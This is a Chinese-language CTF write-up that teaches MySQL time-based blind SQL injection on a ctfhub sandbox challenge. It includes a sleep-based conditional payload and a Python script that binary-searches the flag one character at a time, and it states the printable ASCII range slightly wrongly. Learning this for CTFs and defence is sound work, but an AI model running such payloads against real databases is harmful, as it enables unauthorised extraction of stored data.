SQL时间盲注是一项很成熟的技术。一般步骤如下:
- 精心构造一个payload,如果满足某种条件,则延时
t
秒之后返回;否则直接返回 - 发送payload,观察执行时间,从而推断出条件是否满足。
- 重复上述两步,直到推出所有信息。
因此现在的问题在于:如何构造payload、如何推出自己想要的信息。
mysql的几个函数
SQL时间盲注可以利用下面几个函数:
-
sleep(t)
延时t
秒钟。这个函数返回值是0。 -
ascii(str)
返回字符字符串str
首字符的ascii码值。如果str
是空串,则返回0;如果str
是NULL
,则返回NULL
. -
ord(str)
同ascii
. -
length(str)
返回str
的长度。 -
substr(str, pos, len)
字符串截取函数,返回str
从pos
开始、长度为len
的子串。需要注意,这里的字符串从1开始编号。 -
mid(str, pos, len)
同substr
. -
substring(str, pos, len)
同substr
. -
left(str, len)
字符串左截取函数,返回str
的左len
个字符。 -
right(str, len)
字符串右截取函数,返回sre
的右len
个字符。 -
if(expr1, expr2, expr3)
逻辑判断函数。如果expr1
为真,则执行expr2
;否则执行expr3
.
如何构造payload
来考虑ctfhub的题目《时间盲注》。无任何过滤,sql语句是select * from news where id={your_payload}
.
那么我们想查询flag
表中的flag
列。构造sql查询语句如下:
select * from news where id=0 or (if(ascii(substr((select flag from flag),1,1))<=100,sleep(2),1))
来解释上面的payload. or是短路运算符,所以id
先填上0,以便后面的语句得以执行。如果(ascii(substr((select flag from flag),1,1))<=100
成立,则执行sleep(2)
延时2秒;否则不做什么事。
substr((select flag from flag),1,1)
的意思是:从flag
表里面选取flag
列(表里面只有一行数据),然后从1号位置开始,取1个字符返回。也就是说,返回了flag的第一个字母。
(ascii(substr((select flag from flag),1,1))<=100
的意思是,如果flag的第一个字母的ascii值不超过100,则判断为真;否则判断为假。
于是,整句select * from news where id=0 or (if(ascii(substr((select flag from flag),1,1))<=100,sleep(2),1))
的意思是:如果flag的第一个字母的ascii值不超过100,则延时2秒;否则不延时。
我们请求这个payload,然后本地计时。如果时间超过1秒(这需要考虑网络环境再决定),则认为“flag的第一个字母的ascii值不超过100”这个条件是满足的;否则认为这个条件不满足。
工作代码如下:
def work(payload):
url = 'http://challenge-c9ecc4bb64ab96cc.sandbox.ctfhub.com:10080/'
params = {
'id' : payload
}
try:
r = rq.get(url, params=params, timeout=1).text
except Exception:
print(f"Timeout")
return True
soup = BeautifulSoup(r, 'html.parser')
print('> ' + soup.code.text)
return False
如何推出flag
刚刚我们实现了一个函数,可以用来判断flag的任意位的ascii值是否超过任意值。有了这个函数,第一反应当然是逐位二分。先通过二分来推断出第一位、再是第二位……以此类推。
注意到所有可见字符的ascii码都在$[21, 126]$范围内,故可以用l=21, r=126
作为初始答案区间。
代码如下:
def boom(pos):
l = 21
r = 126
while(l != r):
mid = (l+r) // 2
print(f"divide [{l}, {r}] mid = {mid}")
if work(f"0 or (if(ascii(substr((select flag from flag),{pos},1))<={mid},sleep(2),1))"):
r = mid
else:
l = mid+1
print(f"ok {chr(l)}")
return chr(l)
最后这样爆破出flag:
ans = ''
for x in range(1, 50):
ans += boom(x)
print(f'ans now: {ans}')
print(ans)